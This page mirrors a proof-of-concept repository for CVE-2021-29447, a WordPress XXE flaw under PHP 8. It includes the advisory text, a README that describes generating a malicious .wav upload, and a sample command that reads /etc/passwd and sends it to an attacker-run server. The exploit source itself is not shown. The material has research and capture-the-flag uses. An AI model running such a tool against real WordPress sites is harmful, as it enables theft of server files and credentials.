CVE-2021-29447 PoC — WordPress Authenticated XXE attack when installation is running PHP 8

Source

https://github.com/mega8bit/exploit_cve-2021-29447

Associated Vulnerability

Title:WordPress Authenticated XXE attack when installation is running PHP 8 (CVE-2021-29447)
Description:Wordpress is an open source CMS. A user with the ability to upload files (like an Author) can exploit an XML parsing issue in the Media Library leading to XXE attacks. This requires WordPress installation to be using PHP 8. Access to internal files is possible in a successful XXE attack. This has been patched in WordPress version 5.7.1, along with the older affected versions via a minor release. We strongly recommend you keep auto-updates enabled.

Readme

# exploit_cve-2021-29447

For educational purposes only.

This exploit is supposed to be really convenient tool to get any file from server running wordpress 5.6.2 and php8. (see https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5)

All you need is base wp-admin access and ability to upload a media file.

The exploit will generate a .wav file payload to upload using wp-admin.

Then it uses exploit's back server to give you eager file right on your console.

The perfect usage is HackTheBox's machine - metatwo https://www.hackthebox.com/machines/metatwo

![til](./preview.gif)

## Usage/Examples

```
$ go build

$ chmod +x exploit_cve-2021-29447

$ ./exploit_cve-2021-29447 --help                                               
Usage of ./exploit_cve-2021-29447:
  -local-server-ip string
        Use local server ip where a local server will be set
  -local-server-port int
        Use local server port to run local server on
  -o string
        Output file to save exploit's result
  -target-path string
        Use target path to point on file you want to get from target server

$ ./exploit_cve-2021-29447 -local-server-ip=<your ip address> -target-path=/etc/passwd

```

File Snapshot


 [4.0K]  /data/pocs/6f1d96de5581df75ee446f264276ae0f9759e7cb
├── [  59]  go.mod
├── [6.2K]  main.go
├── [ 258]  Makefile
├── [ 14M]  preview.gif
└── [1.2K]  README.md

0 directories, 5 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!